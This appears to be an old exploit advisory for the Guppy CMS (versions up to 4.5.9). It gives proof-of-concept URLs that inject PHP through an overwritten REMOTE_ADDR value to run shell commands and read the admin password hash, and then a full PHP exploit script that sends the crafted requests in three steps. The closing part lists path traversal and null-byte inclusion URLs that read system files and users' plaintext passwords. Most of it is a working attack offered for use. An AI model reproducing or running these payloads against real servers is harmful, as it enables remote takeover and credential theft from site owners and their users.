Guppy <= 4.5.9 Remote code execution / various arbitrary inclusion issues software: site: description: a very popular French PHP CMS that stores data in files i) remote code/commands execution (tested and working against php 5.0.2 and php 4.3.3 with register globals off and magic quotes off): vulnerable code in error.php at line 86-98: server var $REMOTE_ADDR is not properly sanitized before to be stored in an .inc file that will be included by the main script. if register globals is off you can overwrite this var also, if magic_quotes_gpc is off you can inject arbitrary php code, poc: http://[target]/[path_to_guppy]/error.php?err=hacker&_SERVER=&_SERVER[REMOTE_ADDR]=";passthru("ls -la>README");echo" now I have an file with this code inside: errors code HTTP."; $date = "Date : 28/11/2005 16:23"; $dest = "Page requested : ?"; $source = "Page source : "; $browser = "Browser : "; $addr_ip = "IP address : ";passthru("ls -la>README");echo""; $domaine = "Domaine : "; $with_mail = false; ?> script has been executed and now you can go to: http://[target]/[path_to_guppy]/README to see the redirected output also try this to see master database MD5 password hash: http://[target]/[path_to_guppy]/error.php?err=hacker&_SERVER=&_SERVER[REMOTE_ADDR]=";passthru("cat ./admin/mdp.php>README");echo" this is my proof of concept exploit tool: ******** Guppy <=4.5.9 remote commands xctn **********

******** Guppy <=4.5.9 remote commands xctn **********

a script by rgod at

* hostname (

* path (ex: /guppy/ or just / )

* specify a command , "cat ./admin/mdp.php" to see master database MD5 password hash( against windows: type .\admin\mdp.php)

specify a port other than 80 ( default value )

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$command=$_POST[command]; $proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); #STEP 1 -> inject command... $CODE='";error_reporting(0);ini_set("max_execution_time",0);system("'.$command.'>SUNTZU");echo"'; $CODE=urlencode($CODE); $packet="GET ".$p."error.php?err=suntzu&_SERVER=&_SERVER[REMOTE_ADDR]=".$CODE." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Googlebot/Test (+\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); #now you will be redirected to an error description page, we need to see this #url to include/execute error file... $temp=explode('location: ',$html); $temp2=explode(chr(0x0d).chr(0x0a),$temp[1]); $location=$temp2[0]; echo "Location ->".htmlentities($location)."
"; #STEP 2 -> Launch commands... $packet="GET ".$p.$location." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Internet Ninja x.0\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); #STEP 3 -> lookin' for redirected output... $packet="GET ".$p."SUNTZU HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Kenjin Spider\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); } ?> ii)arbitrary local inclusion: if register_globals on you can include an arbitrary file from local resources: http://[target]/[path_to_guppy]/admin/editorTypetool.php?cmd=DIR&meskin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F you can include an arbitrary file from local using null char: http://[target]/[path_to_guppy]/admin/inc/archbatch.php?lng=../../../../../../../../../../../boot.ini%00 you can include an arbitrary or file from local resources http://[target]/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../ or any file using a null byte http://[target]/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../boot.ini%00 http://[target]/[path_to_guppy]/admin/inc/nwlmail.php?lng=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 through one of this inclusion issue you can retrieve any user clear test password, poc: http://[target]/[path_to_guppy]/admin/inc/archbatch.php?lng=../../data/usermsg/username.dtb%00 rgod site: mail: retrogod at aliceposta it original advisory: